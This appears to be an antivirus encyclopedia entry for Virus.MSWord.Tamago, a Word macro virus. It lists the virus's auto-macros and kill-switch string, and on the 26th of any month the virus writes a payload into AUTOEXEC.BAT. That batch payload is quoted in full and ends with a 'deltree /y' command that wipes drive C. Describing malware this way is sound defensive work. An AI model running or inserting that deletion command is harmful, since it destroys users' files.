Virus.MSWord.Tamago

Class Virus
Platform MSWord
Description

Technical Details


This macro virus affects the system on closing an infected documents and
copies itself to documents are closed or saved with new name. It contains
seven macros:


Documents NORMAL.DOT
AutoOp AutoOpen
AutoExec AutoExec
AutoClose AutoClose
UtilMacro UtilMacro
FerramMacro FerramMacro
ArquivoModelos ArquivoModelos
ArquivoSalvarComo ArquivoSalvarComo

The virus does not infect the system and documents, if Environment contains
the string “TAMAGOXI=GMS” (virus author’s self-protection?). In this case
the virus displays the MessageBox:

(sLeEp ModE) TaMaGoXI bY WiZaRD: EtERnAl LoVE 2 mY LitTlE gIrL Gi

On 26 of any month the virus writes to the C:AUTOEXEC.BAT instructions
that will display the message and delete all files on drive C:

@echo off
cls
echo.
echo.
echo.
echo SaLamA’S CoRP – AlL lEfTS ReSerVeD – 1997
echo TaMaGoXI bY WiZaRD***
echo ***
echo *
echo *
echo *************
echo * *
echo * **** **** *
echo * *
echo * ***** *
echo ***************
echo.
echo eXPecT nO MeRcY FRoM HiM
echo.
echo.
echo File’ not found: Serve Alcatara Mane’? (S/N)
echo.
echo.
deltree /y c:*.* >nul